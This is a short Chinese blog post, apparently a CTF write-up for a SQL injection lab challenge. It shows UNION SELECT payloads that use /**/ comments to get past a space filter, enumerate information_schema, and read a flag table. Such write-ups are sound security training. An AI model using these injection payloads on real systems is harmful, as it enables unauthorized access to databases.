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ctf注入套路（一）：从系统内置的库来找到flag所在的表。

例子：点击打开链接（实验吧简单的SQL注入之2,1也是同样的套路）

先输入1，再输入1'，页面报语法错误，再输入1 '页面出现SQLi detected!，推出空格被它过滤。用/**/来代替空格。

输入 

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

接下来查表名:

1‘/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到有一个flag表，直接查询内容

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

https://blog.csdn.net/weixin_40871137
https://blog.csdn.net/weixin_40871137/category_7716146.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_40871137/article/details/81047020
https://blog.csdn.net/weixin_40871137/category_7716146.html
http://www.shiyanbar.com/ctf/1908

	ctf简单的SQL注入（1）

